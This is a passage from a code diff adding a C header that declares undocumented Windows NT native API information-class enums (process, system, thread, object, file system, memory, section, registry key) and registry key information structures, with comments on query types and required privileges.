+ ProcessHandleTracing, // q: PROCESS_HANDLE_TRACING_QUERY; s: size 0 disables, otherwise enables + ProcessIoPriority, // qs: IO_PRIORITY_HINT + ProcessExecuteFlags, // qs: ULONG + ProcessResourceManagement, + ProcessCookie, // q: ULONG + ProcessImageInformation, // q: SECTION_IMAGE_INFORMATION + ProcessCycleTime, // q: PROCESS_CYCLE_TIME_INFORMATION // since VISTA + ProcessPagePriority, // q: ULONG + ProcessInstrumentationCallback, // 40 + ProcessThreadStackAllocation, // s: PROCESS_STACK_ALLOCATION_INFORMATION, PROCESS_STACK_ALLOCATION_INFORMATION_EX + ProcessWorkingSetWatchEx, // q: PROCESS_WS_WATCH_INFORMATION_EX[] + ProcessImageFileNameWin32, // q: UNICODE_STRING + ProcessImageFileMapping, // q: HANDLE (input) + ProcessAffinityUpdateMode, // qs: PROCESS_AFFINITY_UPDATE_MODE + ProcessMemoryAllocationMode, // qs: PROCESS_MEMORY_ALLOCATION_MODE + ProcessGroupInformation, // q: USHORT[] + ProcessTokenVirtualizationEnabled, // s: ULONG + ProcessConsoleHostProcess, // q: ULONG_PTR + ProcessWindowInformation, // q: PROCESS_WINDOW_INFORMATION // 50 + ProcessHandleInformation, // q: PROCESS_HANDLE_SNAPSHOT_INFORMATION // since WIN8 + ProcessMitigationPolicy, // s: PROCESS_MITIGATION_POLICY_INFORMATION + ProcessDynamicFunctionTableInformation, + ProcessHandleCheckingMode, + ProcessKeepAliveCount, // q: PROCESS_KEEPALIVE_COUNT_INFORMATION + ProcessRevokeFileHandles, // s: PROCESS_REVOKE_FILE_HANDLES_INFORMATION + ProcessWorkingSetControl, // s: PROCESS_WORKING_SET_CONTROL + ProcessHandleTable, // since WINBLUE + ProcessCheckStackExtentsMode, + ProcessCommandLineInformation, // q: UNICODE_STRING // 60 + ProcessProtectionInformation, // q: PS_PROTECTION + ProcessMemoryExhaustion, // PROCESS_MEMORY_EXHAUSTION_INFO // since THRESHOLD + ProcessFaultInformation, // PROCESS_FAULT_INFORMATION + ProcessTelemetryIdInformation, // PROCESS_TELEMETRY_ID_INFORMATION + ProcessCommitReleaseInformation, // PROCESS_COMMIT_RELEASE_INFORMATION + ProcessDefaultCpuSetsInformation, + ProcessAllowedCpuSetsInformation, + ProcessSubsystemProcess, + ProcessJobMemoryInformation, // PROCESS_JOB_MEMORY_INFO + ProcessInPrivate, // since THRESHOLD2 // 70 + ProcessRaiseUMExceptionOnInvalidHandleClose, + ProcessIumChallengeResponse, + ProcessChildProcessInformation, // PROCESS_CHILD_PROCESS_INFORMATION + ProcessHighGraphicsPriorityInformation, + ProcessSubsystemInformation, // q: SUBSYSTEM_INFORMATION_TYPE // since REDSTONE2 + ProcessEnergyValues, // PROCESS_ENERGY_VALUES, PROCESS_EXTENDED_ENERGY_VALUES + ProcessActivityThrottleState, // PROCESS_ACTIVITY_THROTTLE_STATE + ProcessActivityThrottlePolicy, // PROCESS_ACTIVITY_THROTTLE_POLICY + ProcessWin32kSyscallFilterInformation, + ProcessDisableSystemAllowedCpuSets, + ProcessWakeInformation, // PROCESS_WAKE_INFORMATION + ProcessEnergyTrackingState, // PROCESS_ENERGY_TRACKING_STATE + ProcessManageWritesToExecutableMemory, // MANAGE_WRITES_TO_EXECUTABLE_MEMORY // since REDSTONE3 + ProcessCaptureTrustletLiveDump, + ProcessTelemetryCoverage, + ProcessEnclaveInformation, + ProcessEnableReadWriteVmLogging, // PROCESS_READWRITEVM_LOGGING_INFORMATION + ProcessUptimeInformation, // PROCESS_UPTIME_INFORMATION + ProcessImageSection, + MaxProcessInfoClass +} PROCESSINFOCLASS; + +typedef enum _SYSTEM_INFORMATION_CLASS +{ + SystemBasicInformation, // q: SYSTEM_BASIC_INFORMATION + SystemProcessorInformation, // q: SYSTEM_PROCESSOR_INFORMATION + SystemPerformanceInformation, // q: SYSTEM_PERFORMANCE_INFORMATION + SystemTimeOfDayInformation, // q: SYSTEM_TIMEOFDAY_INFORMATION + SystemPathInformation, // not implemented + SystemProcessInformation, // q: SYSTEM_PROCESS_INFORMATION + SystemCallCountInformation, // q: SYSTEM_CALL_COUNT_INFORMATION + SystemDeviceInformation, // q: SYSTEM_DEVICE_INFORMATION + SystemProcessorPerformanceInformation, // q: SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION + SystemFlagsInformation, // q: SYSTEM_FLAGS_INFORMATION + SystemCallTimeInformation, // not implemented // SYSTEM_CALL_TIME_INFORMATION // 10 + SystemModuleInformation, // q: RTL_PROCESS_MODULES + SystemLocksInformation, // q: RTL_PROCESS_LOCKS + SystemStackTraceInformation, // q: RTL_PROCESS_BACKTRACES + SystemPagedPoolInformation, // not implemented + SystemNonPagedPoolInformation, // not implemented + SystemHandleInformation, // q: SYSTEM_HANDLE_INFORMATION + SystemObjectInformation, // q: SYSTEM_OBJECTTYPE_INFORMATION mixed with SYSTEM_OBJECT_INFORMATION + SystemPageFileInformation, // q: SYSTEM_PAGEFILE_INFORMATION + SystemVdmInstemulInformation, // q + SystemVdmBopInformation, // not implemented // 20 + SystemFileCacheInformation, // q: SYSTEM_FILECACHE_INFORMATION; s (requires SeIncreaseQuotaPrivilege) (info for WorkingSetTypeSystemCache) + SystemPoolTagInformation, // q: SYSTEM_POOLTAG_INFORMATION + SystemInterruptInformation, // q: SYSTEM_INTERRUPT_INFORMATION + SystemDpcBehaviorInformation, // q: SYSTEM_DPC_BEHAVIOR_INFORMATION; s: SYSTEM_DPC_BEHAVIOR_INFORMATION (requires SeLoadDriverPrivilege) + SystemFullMemoryInformation, // not implemented + SystemLoadGdiDriverInformation, // s (kernel-mode only) + SystemUnloadGdiDriverInformation, // s (kernel-mode only) + SystemTimeAdjustmentInformation, // q: SYSTEM_QUERY_TIME_ADJUST_INFORMATION; s: SYSTEM_SET_TIME_ADJUST_INFORMATION (requires SeSystemtimePrivilege) + SystemSummaryMemoryInformation, // not implemented + SystemMirrorMemoryInformation, // s (requires license value "Kernel-MemoryMirroringSupported") (requires SeShutdownPrivilege) // 30 + SystemPerformanceTraceInformation, // q; s: (type depends on EVENT_TRACE_INFORMATION_CLASS) + SystemObsolete0, // not implemented + SystemExceptionInformation, // q: SYSTEM_EXCEPTION_INFORMATION + SystemCrashDumpStateInformation, // s (requires SeDebugPrivilege) + SystemKernelDebuggerInformation, // q: SYSTEM_KERNEL_DEBUGGER_INFORMATION + SystemContextSwitchInformation, // q: SYSTEM_CONTEXT_SWITCH_INFORMATION + SystemRegistryQuotaInformation, // q: SYSTEM_REGISTRY_QUOTA_INFORMATION; s (requires SeIncreaseQuotaPrivilege) + SystemExtendServiceTableInformation, // s (requires SeLoadDriverPrivilege) // loads win32k only + SystemPrioritySeperation, // s (requires SeTcbPrivilege) + SystemVerifierAddDriverInformation, // s (requires SeDebugPrivilege) // 40 + SystemVerifierRemoveDriverInformation, // s (requires SeDebugPrivilege) + SystemProcessorIdleInformation, // q: SYSTEM_PROCESSOR_IDLE_INFORMATION + SystemLegacyDriverInformation, // q: SYSTEM_LEGACY_DRIVER_INFORMATION + SystemCurrentTimeZoneInformation, // q; s: RTL_TIME_ZONE_INFORMATION + SystemLookasideInformation, // q: SYSTEM_LOOKASIDE_INFORMATION + SystemTimeSlipNotification, // s (requires SeSystemtimePrivilege) + SystemSessionCreate, // not implemented + SystemSessionDetach, // not implemented + SystemSessionInformation, // not implemented (SYSTEM_SESSION_INFORMATION) + SystemRangeStartInformation, // q: SYSTEM_RANGE_START_INFORMATION // 50 + SystemVerifierInformation, // q: SYSTEM_VERIFIER_INFORMATION; s (requires SeDebugPrivilege) + SystemVerifierThunkExtend, // s (kernel-mode only) + SystemSessionProcessInformation, // q: SYSTEM_SESSION_PROCESS_INFORMATION + SystemLoadGdiDriverInSystemSpace, // s (kernel-mode only) (same as SystemLoadGdiDriverInformation) + SystemNumaProcessorMap, // q + SystemPrefetcherInformation, // q: PREFETCHER_INFORMATION; s: PREFETCHER_INFORMATION // PfSnQueryPrefetcherInformation + SystemExtendedProcessInformation, // q: SYSTEM_PROCESS_INFORMATION + SystemRecommendedSharedDataAlignment, // q + SystemComPlusPackage, // q; s + SystemNumaAvailableMemory, // 60 + SystemProcessorPowerInformation, // q: SYSTEM_PROCESSOR_POWER_INFORMATION + SystemEmulationBasicInformation, // q + SystemEmulationProcessorInformation, + SystemExtendedHandleInformation, // q: SYSTEM_HANDLE_INFORMATION_EX + SystemLostDelayedWriteInformation, // q: ULONG + SystemBigPoolInformation, // q: SYSTEM_BIGPOOL_INFORMATION + SystemSessionPoolTagInformation, // q: SYSTEM_SESSION_POOLTAG_INFORMATION + SystemSessionMappedViewInformation, // q: SYSTEM_SESSION_MAPPED_VIEW_INFORMATION + SystemHotpatchInformation, // q; s: SYSTEM_HOTPATCH_CODE_INFORMATION + SystemObjectSecurityMode, // q: ULONG // 70 + SystemWatchdogTimerHandler, // s (kernel-mode only) + SystemWatchdogTimerInformation, // q (kernel-mode only); s (kernel-mode only) + SystemLogicalProcessorInformation, // q: SYSTEM_LOGICAL_PROCESSOR_INFORMATION + SystemWow64SharedInformationObsolete, // not implemented + SystemRegisterFirmwareTableInformationHandler, // s (kernel-mode only) + SystemFirmwareTableInformation, // SYSTEM_FIRMWARE_TABLE_INFORMATION + SystemModuleInformationEx, // q: RTL_PROCESS_MODULE_INFORMATION_EX + SystemVerifierTriageInformation, // not implemented + SystemSuperfetchInformation, // q; s: SUPERFETCH_INFORMATION // PfQuerySuperfetchInformation + SystemMemoryListInformation, // q: SYSTEM_MEMORY_LIST_INFORMATION; s: SYSTEM_MEMORY_LIST_COMMAND (requires SeProfileSingleProcessPrivilege) // 80 + SystemFileCacheInformationEx, // q: SYSTEM_FILECACHE_INFORMATION; s (requires SeIncreaseQuotaPrivilege) (same as SystemFileCacheInformation) + SystemThreadPriorityClientIdInformation, // s: SYSTEM_THREAD_CID_PRIORITY_INFORMATION (requires SeIncreaseBasePriorityPrivilege) + SystemProcessorIdleCycleTimeInformation, // q: SYSTEM_PROCESSOR_IDLE_CYCLE_TIME_INFORMATION[] + SystemVerifierCancellationInformation, // not implemented // name:wow64:whNT32QuerySystemVerifierCancellationInformation + SystemProcessorPowerInformationEx, // not implemented + SystemRefTraceInformation, // q; s: SYSTEM_REF_TRACE_INFORMATION // ObQueryRefTraceInformation + SystemSpecialPoolInformation, // q; s (requires SeDebugPrivilege) // MmSpecialPoolTag, then MmSpecialPoolCatchOverruns != 0 + SystemProcessIdInformation, // q: SYSTEM_PROCESS_ID_INFORMATION + SystemErrorPortInformation, // s (requires SeTcbPrivilege) + SystemBootEnvironmentInformation, // q: SYSTEM_BOOT_ENVIRONMENT_INFORMATION // 90 + SystemHypervisorInformation, // q; s (kernel-mode only) + SystemVerifierInformationEx, // q; s: SYSTEM_VERIFIER_INFORMATION_EX + SystemTimeZoneInformation, // s (requires SeTimeZonePrivilege) + SystemImageFileExecutionOptionsInformation, // s: SYSTEM_IMAGE_FILE_EXECUTION_OPTIONS_INFORMATION (requires SeTcbPrivilege) + SystemCoverageInformation, // q; s // name:wow64:whNT32QuerySystemCoverageInformation; ExpCovQueryInformation + SystemPrefetchPatchInformation, // not implemented + SystemVerifierFaultsInformation, // s (requires SeDebugPrivilege) + SystemSystemPartitionInformation, // q: SYSTEM_SYSTEM_PARTITION_INFORMATION + SystemSystemDiskInformation, // q: SYSTEM_SYSTEM_DISK_INFORMATION + SystemProcessorPerformanceDistribution, // q: SYSTEM_PROCESSOR_PERFORMANCE_DISTRIBUTION // 100 + SystemNumaProximityNodeInformation, // q + SystemDynamicTimeZoneInformation, // q; s (requires SeTimeZonePrivilege) + SystemCodeIntegrityInformation, // q: SYSTEM_CODEINTEGRITY_INFORMATION // SeCodeIntegrityQueryInformation + SystemProcessorMicrocodeUpdateInformation, // s + SystemProcessorBrandString, // q // HaliQuerySystemInformation -> HalpGetProcessorBrandString, info class 23 + SystemVirtualAddressInformation, // q: SYSTEM_VA_LIST_INFORMATION[]; s: SYSTEM_VA_LIST_INFORMATION[] (requires SeIncreaseQuotaPrivilege) // MmQuerySystemVaInformation + SystemLogicalProcessorAndGroupInformation, // q: SYSTEM_LOGICAL_PROCESSOR_INFORMATION_EX // since WIN7 // KeQueryLogicalProcessorRelationship + SystemProcessorCycleTimeInformation, // q: SYSTEM_PROCESSOR_CYCLE_TIME_INFORMATION[] + SystemStoreInformation, // q; s // SmQueryStoreInformation + SystemRegistryAppendString, // s: SYSTEM_REGISTRY_APPEND_STRING_PARAMETERS // 110 + SystemAitSamplingValue, // s: ULONG (requires SeProfileSingleProcessPrivilege) + SystemVhdBootInformation, // q: SYSTEM_VHD_BOOT_INFORMATION + SystemCpuQuotaInformation, // q; s // PsQueryCpuQuotaInformation + SystemNativeBasicInformation, // not implemented + SystemSpare1, // not implemented + SystemLowPriorityIoInformation, // q: SYSTEM_LOW_PRIORITY_IO_INFORMATION + SystemTpmBootEntropyInformation, // q: TPM_BOOT_ENTROPY_NT_RESULT // ExQueryTpmBootEntropyInformation + SystemVerifierCountersInformation, // q: SYSTEM_VERIFIER_COUNTERS_INFORMATION + SystemPagedPoolInformationEx, // q: SYSTEM_FILECACHE_INFORMATION; s (requires SeIncreaseQuotaPrivilege) (info for WorkingSetTypePagedPool) + SystemSystemPtesInformationEx, // q: SYSTEM_FILECACHE_INFORMATION; s (requires SeIncreaseQuotaPrivilege) (info for WorkingSetTypeSystemPtes) // 120 + SystemNodeDistanceInformation, // q + SystemAcpiAuditInformation, // q: SYSTEM_ACPI_AUDIT_INFORMATION // HaliQuerySystemInformation -> HalpAuditQueryResults, info class 26 + SystemBasicPerformanceInformation, // q: SYSTEM_BASIC_PERFORMANCE_INFORMATION // name:wow64:whNtQuerySystemInformation_SystemBasicPerformanceInformation + SystemQueryPerformanceCounterInformation, // q: SYSTEM_QUERY_PERFORMANCE_COUNTER_INFORMATION // since WIN7 SP1 + SystemSessionBigPoolInformation, // q: SYSTEM_SESSION_POOLTAG_INFORMATION // since WIN8 + SystemBootGraphicsInformation, // q; s: SYSTEM_BOOT_GRAPHICS_INFORMATION (kernel-mode only) + SystemScrubPhysicalMemoryInformation, // q; s: MEMORY_SCRUB_INFORMATION + SystemBadPageInformation, + SystemProcessorProfileControlArea, // q; s: SYSTEM_PROCESSOR_PROFILE_CONTROL_AREA + SystemCombinePhysicalMemoryInformation, // s: MEMORY_COMBINE_INFORMATION, MEMORY_COMBINE_INFORMATION_EX, MEMORY_COMBINE_INFORMATION_EX2 // 130 + SystemEntropyInterruptTimingCallback, + SystemConsoleInformation, // q: SYSTEM_CONSOLE_INFORMATION + SystemPlatformBinaryInformation, // q: SYSTEM_PLATFORM_BINARY_INFORMATION + SystemThrottleNotificationInformation, + SystemHypervisorProcessorCountInformation, // q: SYSTEM_HYPERVISOR_PROCESSOR_COUNT_INFORMATION + SystemDeviceDataInformation, // q: SYSTEM_DEVICE_DATA_INFORMATION + SystemDeviceDataEnumerationInformation, + SystemMemoryTopologyInformation, // q: SYSTEM_MEMORY_TOPOLOGY_INFORMATION + SystemMemoryChannelInformation, // q: SYSTEM_MEMORY_CHANNEL_INFORMATION + SystemBootLogoInformation, // q: SYSTEM_BOOT_LOGO_INFORMATION // 140 + SystemProcessorPerformanceInformationEx, // q: SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION_EX // since WINBLUE + SystemSpare0, + SystemSecureBootPolicyInformation, // q: SYSTEM_SECUREBOOT_POLICY_INFORMATION + SystemPageFileInformationEx, // q: SYSTEM_PAGEFILE_INFORMATION_EX + SystemSecureBootInformation, // q: SYSTEM_SECUREBOOT_INFORMATION + SystemEntropyInterruptTimingRawInformation, + SystemPortableWorkspaceEfiLauncherInformation, // q: SYSTEM_PORTABLE_WORKSPACE_EFI_LAUNCHER_INFORMATION + SystemFullProcessInformation, // q: SYSTEM_PROCESS_INFORMATION with SYSTEM_PROCESS_INFORMATION_EXTENSION (requires admin) + SystemKernelDebuggerInformationEx, // q: SYSTEM_KERNEL_DEBUGGER_INFORMATION_EX + SystemBootMetadataInformation, // 150 + SystemSoftRebootInformation, + SystemElamCertificateInformation, // s: SYSTEM_ELAM_CERTIFICATE_INFORMATION + SystemOfflineDumpConfigInformation, + SystemProcessorFeaturesInformation, // q: SYSTEM_PROCESSOR_FEATURES_INFORMATION + SystemRegistryReconciliationInformation, + SystemEdidInformation, + SystemManufacturingInformation, // q: SYSTEM_MANUFACTURING_INFORMATION // since THRESHOLD + SystemEnergyEstimationConfigInformation, // q: SYSTEM_ENERGY_ESTIMATION_CONFIG_INFORMATION + SystemHypervisorDetailInformation, // q: SYSTEM_HYPERVISOR_DETAIL_INFORMATION + SystemProcessorCycleStatsInformation, // q: SYSTEM_PROCESSOR_CYCLE_STATS_INFORMATION // 160 + SystemVmGenerationCountInformation, + SystemTrustedPlatformModuleInformation, // q: SYSTEM_TPM_INFORMATION + SystemKernelDebuggerFlags, + SystemCodeIntegrityPolicyInformation, // q: SYSTEM_CODEINTEGRITYPOLICY_INFORMATION + SystemIsolatedUserModeInformation, // q: SYSTEM_ISOLATED_USER_MODE_INFORMATION + SystemHardwareSecurityTestInterfaceResultsInformation, + SystemSingleModuleInformation, // q: SYSTEM_SINGLE_MODULE_INFORMATION + SystemAllowedCpuSetsInformation, + SystemVsmProtectionInformation, // q: SYSTEM_VSM_PROTECTION_INFORMATION (previously SystemDmaProtectionInformation) + SystemInterruptCpuSetsInformation, // q: SYSTEM_INTERRUPT_CPU_SET_INFORMATION // 170 + SystemSecureBootPolicyFullInformation, // q: SYSTEM_SECUREBOOT_POLICY_FULL_INFORMATION + SystemCodeIntegrityPolicyFullInformation, + SystemAffinitizedInterruptProcessorInformation, + SystemRootSiloInformation, // q: SYSTEM_ROOT_SILO_INFORMATION + SystemCpuSetInformation, // q: SYSTEM_CPU_SET_INFORMATION // since THRESHOLD2 + SystemCpuSetTagInformation, // q: SYSTEM_CPU_SET_TAG_INFORMATION + SystemWin32WerStartCallout, + SystemSecureKernelProfileInformation, // q: SYSTEM_SECURE_KERNEL_HYPERGUARD_PROFILE_INFORMATION + SystemCodeIntegrityPlatformManifestInformation, // q: SYSTEM_SECUREBOOT_PLATFORM_MANIFEST_INFORMATION // since REDSTONE + SystemInterruptSteeringInformation, // 180 + SystemSupportedProcessorArchitectures, + SystemMemoryUsageInformation, // q: SYSTEM_MEMORY_USAGE_INFORMATION + SystemCodeIntegrityCertificateInformation, // q: SYSTEM_CODEINTEGRITY_CERTIFICATE_INFORMATION + SystemPhysicalMemoryInformation, // q: SYSTEM_PHYSICAL_MEMORY_INFORMATION // since REDSTONE2 + SystemControlFlowTransition, + SystemKernelDebuggingAllowed, + SystemActivityModerationExeState, // SYSTEM_ACTIVITY_MODERATION_EXE_STATE + SystemActivityModerationUserSettings, // SYSTEM_ACTIVITY_MODERATION_USER_SETTINGS + SystemCodeIntegrityPoliciesFullInformation, + SystemCodeIntegrityUnlockInformation, // SYSTEM_CODEINTEGRITY_UNLOCK_INFORMATION // 190 + SystemIntegrityQuotaInformation, + SystemFlushInformation, // q: SYSTEM_FLUSH_INFORMATION + SystemProcessorIdleMaskInformation, // since REDSTONE3 + SystemSecureDumpEncryptionInformation, + SystemWriteConstraintInformation, // SYSTEM_WRITE_CONSTRAINT_INFORMATION + SystemKernelVaShadowInformation, // SYSTEM_KERNEL_VA_SHADOW_INFORMATION + SystemHypervisorSharedPageInformation, // SYSTEM_HYPERVISOR_SHARED_PAGE_INFORMATION // since REDSTONE4 + SystemFirmwareBootPerformanceInformation, + SystemCodeIntegrityVerificationInformation, // SYSTEM_CODEINTEGRITYVERIFICATION_INFORMATION + SystemFirmwarePartitionInformation, // 200 + SystemSpeculationControlInformation, // SYSTEM_SPECULATION_CONTROL_INFORMATION // (CVE-2017-5715) REDSTONE3 and above. + SystemDmaGuardPolicyInformation, // SYSTEM_DMA_GUARD_POLICY_INFORMATION + SystemEnclaveLaunchControlInformation, // SYSTEM_ENCLAVE_LAUNCH_CONTROL_INFORMATION + SystemWorkloadAllowedCpuSetsInformation, // SYSTEM_WORKLOAD_ALLOWED_CPU_SET_INFORMATION // since REDSTONE5 + SystemCodeIntegrityUnlockModeInformation, + SystemLeapSecondInformation, // SYSTEM_LEAP_SECOND_INFORMATION + SystemFlags2Information, + MaxSystemInfoClass +} SYSTEM_INFORMATION_CLASS; + +typedef enum _OBJECT_INFORMATION_CLASS +{ + ObjectBasicInformation, // OBJECT_BASIC_INFORMATION + ObjectNameInformation, // OBJECT_NAME_INFORMATION + ObjectTypeInformation, // OBJECT_TYPE_INFORMATION + ObjectTypesInformation, // OBJECT_TYPES_INFORMATION + ObjectHandleFlagInformation, // OBJECT_HANDLE_FLAG_INFORMATION + ObjectSessionInformation, + ObjectSessionObjectInformation, + MaxObjectInfoClass +} OBJECT_INFORMATION_CLASS; + +// Source: http://processhacker.sourceforge.net +typedef enum _THREADINFOCLASS +{ + ThreadBasicInformation, // q: THREAD_BASIC_INFORMATION + ThreadTimes, // q: KERNEL_USER_TIMES + ThreadPriority, // s: KPRIORITY + ThreadBasePriority, // s: LONG + ThreadAffinityMask, // s: KAFFINITY + ThreadImpersonationToken, // s: HANDLE + ThreadDescriptorTableEntry, // q: DESCRIPTOR_TABLE_ENTRY (or WOW64_DESCRIPTOR_TABLE_ENTRY) + ThreadEnableAlignmentFaultFixup, // s: BOOLEAN + ThreadEventPair, + ThreadQuerySetWin32StartAddress, // q: PVOID + ThreadZeroTlsCell, // 10 + ThreadPerformanceCount, // q: LARGE_INTEGER + ThreadAmILastThread, // q: ULONG + ThreadIdealProcessor, // s: ULONG + ThreadPriorityBoost, // qs: ULONG + ThreadSetTlsArrayAddress, + ThreadIsIoPending, // q: ULONG + ThreadHideFromDebugger, // s: void + ThreadBreakOnTermination, // qs: ULONG + ThreadSwitchLegacyState, + ThreadIsTerminated, // q: ULONG // 20 + ThreadLastSystemCall, // q: THREAD_LAST_SYSCALL_INFORMATION + ThreadIoPriority, // qs: IO_PRIORITY_HINT + ThreadCycleTime, // q: THREAD_CYCLE_TIME_INFORMATION + ThreadPagePriority, // q: ULONG + ThreadActualBasePriority, + ThreadTebInformation, // q: THREAD_TEB_INFORMATION (requires THREAD_GET_CONTEXT + THREAD_SET_CONTEXT) + ThreadCSwitchMon, + ThreadCSwitchPmu, + ThreadWow64Context, // q: WOW64_CONTEXT + ThreadGroupInformation, // q: GROUP_AFFINITY // 30 + ThreadUmsInformation, // q: THREAD_UMS_INFORMATION + ThreadCounterProfiling, + ThreadIdealProcessorEx, // q: PROCESSOR_NUMBER + ThreadCpuAccountingInformation, // since WIN8 + ThreadSuspendCount, // since WINBLUE + ThreadHeterogeneousCpuPolicy, // q: KHETERO_CPU_POLICY // since THRESHOLD + ThreadContainerId, // q: GUID + ThreadNameInformation, // qs: THREAD_NAME_INFORMATION + ThreadSelectedCpuSets, + ThreadSystemThreadInformation, // q: SYSTEM_THREAD_INFORMATION // 40 + ThreadActualGroupAffinity, // since THRESHOLD2 + ThreadDynamicCodePolicyInfo, + ThreadExplicitCaseSensitivity, + ThreadWorkOnBehalfTicket, + ThreadSubsystemInformation, // q: SUBSYSTEM_INFORMATION_TYPE // since REDSTONE2 + ThreadDbgkWerReportActive, + ThreadAttachContainer, + ThreadManageWritesToExecutableMemory, // MANAGE_WRITES_TO_EXECUTABLE_MEMORY // since REDSTONE3 + ThreadPowerThrottlingState, // THREAD_POWER_THROTTLING_STATE + MaxThreadInfoClass +} THREADINFOCLASS; + +typedef enum _FSINFOCLASS +{ + FileFsVolumeInformation = 1, // FILE_FS_VOLUME_INFORMATION + FileFsLabelInformation = 2, // FILE_FS_LABEL_INFORMATION + FileFsSizeInformation = 3, // FILE_FS_SIZE_INFORMATION + FileFsDeviceInformation = 4, // FILE_FS_DEVICE_INFORMATION + FileFsAttributeInformation = 5, // FILE_FS_ATTRIBUTE_INFORMATION + FileFsControlInformation = 6, // FILE_FS_CONTROL_INFORMATION + FileFsFullSizeInformation = 7, // FILE_FS_FULL_SIZE_INFORMATION + FileFsObjectIdInformation = 8, // FILE_FS_OBJECTID_INFORMATION + FileFsDriverPathInformation = 9, // FILE_FS_DRIVER_PATH_INFORMATION + FileFsVolumeFlagsInformation = 10, // FILE_FS_VOLUME_FLAGS_INFORMATION + FileFsSectorSizeInformation = 11, // FILE_FS_SECTOR_SIZE_INFORMATION // since WIN8 + FileFsDataCopyInformation = 12, // FILE_FS_DATA_COPY_INFORMATION + FileFsMetadataSizeInformation = 13, // FILE_FS_METADATA_SIZE_INFORMATION // since THRESHOLD + FileFsMaximumInformation +} FS_INFORMATION_CLASS, *PFS_INFORMATION_CLASS; + +typedef enum _MEMORY_INFORMATION_CLASS +{ + MemoryBasicInformation, // MEMORY_BASIC_INFORMATION + MemoryWorkingSetInformation, // MEMORY_WORKING_SET_INFORMATION + MemoryMappedFilenameInformation, // UNICODE_STRING + MemoryRegionInformation, // MEMORY_REGION_INFORMATION + MemoryWorkingSetExInformation, // MEMORY_WORKING_SET_EX_INFORMATION + MemorySharedCommitInformation, // MEMORY_SHARED_COMMIT_INFORMATION + MemoryImageInformation, // MEMORY_IMAGE_INFORMATION + MemoryRegionInformationEx, + MemoryPrivilegedBasicInformation +} MEMORY_INFORMATION_CLASS; + +typedef enum _SECTION_INFORMATION_CLASS +{ + SectionBasicInformation, // q; SECTION_BASIC_INFORMATION + SectionImageInformation, // q; SECTION_IMAGE_INFORMATION + SectionRelocationInformation, // name:wow64:whNtQuerySection_SectionRelocationInformation + SectionOriginalBaseInformation, // PVOID BaseAddress + SectionInternalImageInformation, // SECTION_INTERNAL_IMAGE_INFORMATION // since REDSTONE2 + MaxSectionInfoClass +} SECTION_INFORMATION_CLASS; + +// Boot condition flags (NtInitializeRegistry) +#define REG_INIT_BOOT_SM 0x0000 +#define REG_INIT_BOOT_SETUP 0x0001 +#define REG_INIT_BOOT_ACCEPTED_BASE 0x0002 +#define REG_INIT_BOOT_ACCEPTED_MAX (REG_INIT_BOOT_ACCEPTED_BASE + 999) + +#define REG_MAX_KEY_VALUE_NAME_LENGTH 32767 +#define REG_MAX_KEY_NAME_LENGTH 512 + +typedef enum _KEY_INFORMATION_CLASS +{ + KeyBasicInformation, // KEY_BASIC_INFORMATION + KeyNodeInformation, // KEY_NODE_INFORMATION + KeyFullInformation, // KEY_FULL_INFORMATION + KeyNameInformation, // KEY_NAME_INFORMATION + KeyCachedInformation, // KEY_CACHED_INFORMATION + KeyFlagsInformation, // KEY_FLAGS_INFORMATION + KeyVirtualizationInformation, // KEY_VIRTUALIZATION_INFORMATION + KeyHandleTagsInformation, // KEY_HANDLE_TAGS_INFORMATION + KeyTrustInformation, // KEY_TRUST_INFORMATION + KeyLayerInformation, // KEY_LAYER_INFORMATION + MaxKeyInfoClass +} KEY_INFORMATION_CLASS; + +typedef struct _KEY_BASIC_INFORMATION +{ + LARGE_INTEGER LastWriteTime; + ULONG TitleIndex; + ULONG NameLength; + WCHAR Name[1]; +} KEY_BASIC_INFORMATION, *PKEY_BASIC_INFORMATION; + +typedef struct _KEY_NODE_INFORMATION +{ + LARGE_INTEGER LastWriteTime; + ULONG TitleIndex; + ULONG ClassOffset; + ULONG ClassLength; + ULONG NameLength; + WCHAR Name[1]; + // ... + // WCHAR Class[1]; +} KEY_NODE_INFORMATION, *PKEY_NODE_INFORMATION; + +typedef struct _KEY_FULL_INFORMATION +{ + LARGE_INTEGER LastWriteTime; + ULONG TitleIndex; + ULONG ClassOffset; + ULONG ClassLength; + ULONG SubKeys; + ULONG MaxNameLen; + ULONG MaxClassLen; + ULONG Values; + ULONG MaxValueNameLen; + ULONG MaxValueDataLen; + WCHAR Class[1]; +} KEY_FULL_INFORMATION, *PKEY_FULL_INFORMATION; + +typedef struct _KEY_NAME_INFORMATION +{ + ULONG NameLength; + WCHAR Name[1]; +} KEY_NAME_INFORMATION, *PKEY_NAME_INFORMATION; + +typedef struct _KEY_CACHED_INFORMATION +{ + LARGE_INTEGER LastWriteTime; + ULONG TitleIndex; + ULONG SubKeys; + ULONG MaxNameLen; + ULONG Values; + ULONG MaxValueNameLen; + ULONG MaxValueDataLen; + ULONG NameLength; + WCHAR Name[1]; +} KEY_CACHED_INFORMATION, *PKEY_CACHED_INFORMATION; + +typedef struct _KEY_FLAGS_INFORMATION +{ + ULONG UserFlags; +} KEY_FLAGS_INFORMATION, *PKEY_FLAGS_INFORMATION; + +typedef struct _KEY_VIRTUALIZATION_INFORMATION +{ + ULONG VirtualizationCandidate : 1; // Tells whether the key is part of the virtualization namespace scope (only HKLM\Software for now). + ULONG VirtualizationEnabled : 1; // Tells whether virtualization is enabled on this key. Can be 1 only if above flag is 1. + ULONG VirtualTarget : 1; // Tells if the key is a virtual key. Can be 1 only if above 2 are 0. Valid only on the virtual store key handles. + ULONG VirtualStore : 1; // Tells if the key is a part of the virtual store path. Valid only on the virtual store key handles. + ULONG VirtualSource : 1; // Tells if the key has ever been virtualized, can be 1 only if VirtualizationCandidate is 1. + ULONG Reserved : 27; +} KEY_VIRTUALIZATION_INFORMATION, *PKEY_VIRTUALIZATION_INFORMATION; + +// private +typedef struct _KEY_TRUST_INFORMATION +{ + ULONG TrustedKey : 1; + ULONG Reserved : 31; +} KEY_TRUST_INFORMATION, *PKEY_TRUST_INFORMATION; + +// private +typedef struct _KEY_LAYER_INFORMATION +{ + ULONG IsTombstone; + ULONG IsSupersedeLocal; + ULONG IsSupersedeTree; + ULONG ClassIsInherited; + ULONG Reserved; +} KEY_LAYER_INFORMATION, *PKEY_LAYER_INFORMATION; + +typedef enum _KEY_SET_INFORMATION_CLASS +{ + KeyWriteTimeInformation, // KEY_WRITE_TIME_INFORMATION + KeyWow64FlagsInformation, // KEY_WOW64_FLAGS_INFORMATION + 